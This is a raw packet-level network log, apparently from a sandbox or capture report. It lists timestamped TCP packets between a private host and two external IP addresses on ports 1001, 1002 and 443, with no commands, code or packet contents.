Dec 10, 2023 17:48:06.587737083 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.587865114 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.588102102 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.588164091 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.588179111 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.588201046 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.588208914 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.588248014 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.588278055 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.588321924 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.588399887 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.588447094 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.588637114 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.588669062 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.588700056 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.588737965 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.589910030 CET	49718	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.624305964 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:06.624862909 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.624886036 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.624959946 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.624963999 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.625016928 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.625169992 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.625257015 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.625339031 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.625399113 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.639931917 CET	49709	1001	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.800652027 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.800846100 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.801084042 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:06.844778061 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:06.863032103 CET	1002	49718	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.863159895 CET	49718	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.863269091 CET	49718	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.864027977 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.864140034 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.864310980 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.864379883 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.864433050 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.864494085 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.864633083 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.864711046 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.864763975 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.864883900 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.864938021 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.865176916 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.865255117 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.865468979 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.901360035 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.901416063 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.901478052 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.901595116 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.901840925 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.085927963 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.086049080 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.086092949 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.086122036 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.086169958 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.086173058 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.086236954 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.086298943 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.098804951 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.098892927 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.098989964 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.110162020 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.136111021 CET	1002	49718	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.136133909 CET	1002	49718	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.140667915 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.140836000 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.141004086 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.141186953 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.141365051 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.141587019 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.141712904 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.141765118 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.141891956 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.142003059 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.142158031 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.142225027 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.210256100 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.210324049 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.210464954 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.210527897 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.210587978 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.210628986 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.210628986 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.210649014 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.210697889 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.210750103 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.210887909 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.211088896 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.211141109 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.211174011 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.211199999 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.211201906 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.211205959 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.211215019 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.211247921 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.211253881 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.211278915 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.211297035 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.211302996 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.211344004 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.220422029 CET	1001	49709	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.222584963 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.223345041 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.223476887 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.223517895 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.223526001 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.223536015 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.223583937 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.264862061 CET	49709	1001	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.269191980 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.311923981 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.311954021 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.335048914 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.335078955 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.335129023 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.335163116 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.335232019 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.335246086 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.335350037 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.335398912 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.335401058 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.335412025 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.335445881 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.335457087 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.335558891 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.335591078 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.335598946 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.335611105 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.335660934 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.335670948 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.335786104 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.335812092 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.335825920 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.335836887 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.335889101 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.335899115 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.336299896 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.336337090 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.336343050 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.336354017 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.336385012 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.336414099 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.336424112 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.336460114 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.336467981 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.336477995 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.336519957 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.336533070 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.347424984 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.347465992 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.347493887 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.347496033 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.347506046 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.347548962 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.347562075 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.347623110 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.347661972 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.347714901 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.347759008 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.347769976 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.347888947 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.347928047 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.347938061 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.358544111 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.358664036 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.358722925 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.358819962 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.358843088 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.358901978 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.359040976 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.359107018 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.359137058 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.359189034 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.371390104 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.371424913 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.371469021 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.371489048 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.388900995 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.389003038 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.389024973 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.393090963 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.393151999 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.393166065 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.393178940 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.393232107 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.393243074 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.436742067 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.459202051 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.459270000 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.459301949 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.459321976 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.459343910 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.459398985 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.459506035 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.459568977 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.459594011 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.459609985 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.459623098 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.459666967 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.460036039 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.460119963 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.460155964 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.460165977 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.460177898 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.460231066 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.460241079 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.460268974 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.460309982 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.460320950 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.460438013 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.460464954 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.460480928 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.460490942 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.460540056 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.460550070 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.460586071 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.460649967 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.460652113 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.460661888 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.460692883 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.460700989 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.460711002 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.460762024 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.460844040 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.460911989 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.460947037 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.460953951 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.460964918 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461014032 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461014986 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.461025953 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461091042 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.461101055 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461193085 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461224079 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461241007 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.461251020 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461287022 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461293936 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.461304903 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461354971 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.461385965 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461455107 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461483002 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461493969 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.461504936 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461539030 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461568117 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.461577892 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461642027 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.461652040 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461746931 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461776018 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461796045 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.461807013 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461843967 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461863041 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.461873055 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461909056 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461913109 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.461924076 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.461973906 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.471764088 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.471831083 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.471874952 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.471890926 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.472131968 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.472162962 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.472172976 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.472183943 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.472223043 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.472224951 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.472234964 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.472297907 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.472306967 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.472395897 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.472430944 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.472444057 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.472454071 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.472492933 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.472503901 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.472599030 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.472630978 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.472641945 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.472654104 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.472696066 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.483311892 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.483346939 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.483378887 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.483395100 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.483406067 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.483453035 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.483467102 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.483474016 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.483527899 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.483697891 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.483731031 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.483787060 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.483808041 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.499439001 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.499567032 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.499667883 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.513680935 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.513726950 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.513750076 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.513783932 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.513804913 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.513843060 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.517518044 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.517555952 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.517596960 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.517607927 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.517834902 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.517873049 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.517879009 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.517949104 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.517988920 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.517993927 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.518064976 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.518098116 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.518104076 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.561727047 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.583513021 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.583549023 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.583636045 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.583652973 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.583770990 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.583811998 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.583818913 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.583924055 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.583960056 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.583965063 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.584067106 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.584104061 CET	49717	443	192.168.2.6	68.180.135.252
